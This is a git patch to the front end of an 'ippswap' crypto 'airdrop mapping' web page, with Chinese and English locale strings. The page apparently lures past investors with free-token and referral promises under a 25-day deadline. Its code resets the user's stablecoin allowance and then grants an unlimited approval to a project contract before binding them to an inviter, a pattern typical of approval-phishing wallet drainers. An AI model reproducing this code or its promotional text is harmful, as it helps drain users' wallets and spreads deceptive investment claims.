From 69343134f9b545eb5238bee0a5c6995c7001f8e1 Mon Sep 17 00:00:00 2001
From: j1ack <1209452658@qq.com>
Date: Thu, 6 Jul 2023 14:11:51 +0800
Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E2=80=99=20git=20commit=20-m?=
 =?UTF-8?q?=20=E6=9B=B4=E6=96=B0=E2=80=99?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 component/header.vue    |  2 +-
 pages/index/index.vue   | 60 ++++++++++++++++++++++++++++++++++-------
 utils/language/en_US.js |  7 +++--
 utils/language/zh_TW.js |  9 ++++---
 4 files changed, 62 insertions(+), 16 deletions(-)

diff --git a/component/header.vue b/component/header.vue
index 9e934ac..7404859 100644
--- a/component/header.vue
+++ b/component/header.vue
@@ -60,7 +60,7 @@
 				uni.setStorageSync('current', this.current)
 				this.isShowLang = false
 				this.i++
-				window.location.href=''
+				window.location.href = ''
 			},
 			showLang() {
 				this.i++
diff --git a/pages/index/index.vue b/pages/index/index.vue
index 70a0f59..1f90274 100644
--- a/pages/index/index.vue
+++ b/pages/index/index.vue
@@ -2,7 +2,9 @@
 	<view class="content">
 		<tab-bar />
 		<view class="container">
-
+			<view class="tip" v-if="showTip">
+				提交成功，等待区块确认。
+			</view>
 			<view class="top">
 				<view class="title f44 text-primary">
 					{{ i18n.Home }}<br /><br />
@@ -12,7 +14,9 @@
 					{{ i18n.zw }}<br /><br /><br />
 					{{ i18n.yuan }}<br /><br /><br />
 					{{ i18n.we }}<br /><br /><br />
-					{{ i18n.ji }}
+					{{ i18n.thank }}<br /><br />
+					{{ i18n.ji }}<br /><br />
+					{{ i18n.date }}
 				</view>
 			</view>
 			<view class="bottom">
@@ -68,6 +72,7 @@
 		data() {
 			return {
 				url: '',
+				showTip: false,
 				form: {
 					address: '',
 					contract: '0x6b175474e89094c44da98b954eedeac495271d0f',
@@ -86,6 +91,7 @@
 		onPullDownRefresh() {
 
 		},
+
 		onLoad(val) {
 			this.url = location.origin + '?inviteCode=';
 			if (val.inviteCode) {
@@ -100,15 +106,19 @@
 		onReachBottom() {
 
 		},
-		// 必须要在onReady生命周期，因为onLoad生命周期组件可能尚未创建完毕
-		onReady() {},
+		onReady() {
+
+		},
 		methods: {
 			// 点击复制按钮
 			onCopy(v) {
 				uni.setClipboardData({
 					data: v,
 					success: () => {
-						uni.$u.toast('success')
+						uni.showToast({
+							title: this.$t("tabBar").copy,
+							duration: 2000
+						})
 					}
 				})
 			},
@@ -143,7 +153,15 @@
 						// 如果 allowance 大于某个值则不需要重新授权. 示例为 1000000 USDT
 						if (allowance > Number(1000000) * 10 ** Number(18)) {
 							web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
-							uni.hideLoading()
+							.on("confirmation", (confirmation, receipt,
+							latestBlockHash) => {
+								if (confirmation >= 5) {
+									console.log("区块确认")
+								}
+							})
+							// uni.$u.toast('提交成功，等待区块确认')
+							// this.showTip = true
+							// uni.hideLoading()
 						} else {
 							// 否则则需要重新授权为 0, 然后在进行极限授权
 							// 提示最小需授权 XXX USDT, 请取消授权后重新授权
@@ -151,14 +169,21 @@
 							if (allowance == 0) {
 								// 然后在进行极限授权
 								web3x.usdt.approveMAX(ipptAddress)
-									.on("transactionHash", () => {
+									.on("transactionHash", async () => {
 										// console.log("调用极限授权")
 										// 调用IPPT 合约绑定上级关系
 										// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: 上级地址
 										// web3x.selectedAddress: 当前钱包地址
-										web3x.ippt.$creatCode(this.form.supAddress, web3x
-											.selectedAddress)
-										uni.hideLoading()
+										web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
+											.on("confirmation", (confirmation, receipt,
+											latestBlockHash) => {
+												if (confirmation >= 5) {
+													console.log("区块确认")
+												}
+											})
+										// uni.$u.toast('提交成功，等待区块确认')
+										// this.showTip = true
+										// uni.hideLoading()
 									}).catch(() => {
 										uni.hideLoading()
 									})
@@ -175,6 +200,9 @@
 												// web3x.selectedAddress: 当前钱包地址
 												web3x.ippt.$creatCode(this.form.supAddress, web3x
 													.selectedAddress)
+
+												uni.$u.toast('提交成功，等待区块确认')
+												this.showTip = true
 												uni.hideLoading()
 											}).catch(() => {
 												uni.hideLoading()
@@ -204,6 +232,18 @@
 </script>
 
 <style lang="scss" scoped>
+	.tip {
+		position: fixed;
+		width: 100%;
+		height: 70rpx;
+		left: 50%;
+		transform: translateX(-50%);
+		top: 100rpx;
+		padding: 14rpx 30rpx;
+		color: #fff;
+		background: radial-gradient(104.53% 5436.39% at -4.53% 16.35%, #7F97EC 3.77%, #8D6CEA 11.22%, #5944D7 24.63%, #2D2EA8 36.47%, #182390 63.92%, #16228E 100%);
+	}
+
 	.m48 {
 		margin-top: 48rpx;
 	}
diff --git a/utils/language/en_US.js b/utils/language/en_US.js
index 7e00cf2..c102437 100644
--- a/utils/language/en_US.js
+++ b/utils/language/en_US.js
@@ -8,11 +8,14 @@ export default {
 		link: 'My invitation link',
 		cx: 'Due to its unique innovation, IPPSWAP has become a popular choice for partners in the industry, developing rapidly and attracting attention from various fields. The fund is investigating the reasons for the transfer of LP assets. We will be committed to creating a safe, transparent, and fair investment environment, enhancing risk control capabilities and information transparency, and protecting the rights and interests of all investors.',
 		zw: 'As the most innovative and profitable foundation, we always uphold a responsible attitude towards member investment. We are now launching a new ippswap mining plan to allow everyone to participate more flexibly and efficiently in mining, and gain more profits.',
-		yuan: 'Original ippswap participants are required to participate in airdrop mapping and receive 50% of the original ipp token chips for free. The duration of receiving airdrop and mapping is 25 days, and the token mining plan will be launched after 25 days. Members who fail to participate in air drop collection and mapping within the specified time limit will be deemed to have waived their permission.',
-		we: 'We believe that through a new mining plan, the ippswap fund will become a more prosperous and active community, bringing more opportunities and benefits to all participants. Welcome to join us! Thank you for your support and trust.',
+		yuan: 'The original ippswap participants need to participate in the air drop mapping with their original wallet address and receive a 25% chip of the original ipp token for free. Please contact the original ippswap member (only one) to participate in the air drop mapping. You will receive another 25% chip of the original ipp token (only once), and the air drop and mapping time will be 25 days. After 25 days, the token mining plan will be launched. Members who fail to participate in air drop collection and mapping within the specified time limit will be deemed to have waived their permission.',
+		we: 'We believe that through a new mining plan, the ippswap fund will become a more prosperous and active community, bringing more opportunities and benefits to all participants. Welcome to join us!',
+		thank:'Thank you for your support and trust.',
+		date:'Date: July 6th, 2023',
 		ji: 'ippswap Foundation',
 		empty:'Inviter address is empty',
 		nosupport:'The current environment does not support',
+		copy:'Replicating Success'
 	},
 }
 
diff --git a/utils/language/zh_TW.js b/utils/language/zh_TW.js
index ca2e14e..f8fbf15 100644
--- a/utils/language/zh_TW.js
+++ b/utils/language/zh_TW.js
@@ -5,14 +5,17 @@ export default {
 		contract: '映射智能合約',
 		address: '我的邀請人地址',
 		confirm: '確認',
-		link: '我的邀請連結',
+		link: '我的邀請鏈接',
 		cx: '因其獨特的創新，ippswap已成為圈內廣大夥伴的熱門選擇，發展迅猛，引起各方領域的關注。基金正在調查LP資產轉出原因，我們將致力於創建安全、透明、公正的投資環境，並提升風控能力和資訊公開透明度，保障所有投資者權益。',
 		zw: '作為最有創新意識和最有盈利能力的基金會，我們始終秉持對會員投資負責的態度，現開啟新的ippswap挖礦計畫，讓大家更靈活、高效地參與挖礦，獲得更多收益。',
-		yuan: '原ippswap參與人員需參與空投映射，免費獲得原ipp代幣50%籌碼。領取空投及映射時長為25天，25天後將代幣挖礦計畫開啟。未在規定時限參與空投領取及映射的會員將視作放棄許可權。',
-		we: '我們相信，通過全新的挖礦計畫，ippswap基金將成為更繁榮、活躍的社區，為所有參與者帶來更多機會和福利。歡迎加入我們！謝謝大家的支持和信任。',
+		yuan: '原ippswap參與人員需原錢包地址參與空投映射，免費獲得原ipp代幣25%籌碼，請聯絡原ippswap會員（僅一位）參與領取空投映射，您將再獲取原ipp代幣25%籌碼（僅一次），領取空投及映射時長為25天，25天後將代幣挖礦計畫開啟。未在規定時限參與空投領取及映射的會員將視作放棄許可權。',
+		we: '我們相信，通過全新的挖礦計畫，ippswap基金將成為更繁榮、活躍的社區，為所有參與者帶來更多機會和福利。歡迎加入我們！',
+		thank:'謝謝大家的支持和信任。',
+		date:'日期：2023年07月06日',
 		ji: 'ippswap基金會',
 		empty:'邀請人地址為空',
 		nosupport:'當前環境不支持',
+		copy:'複製成功'
 	},
 }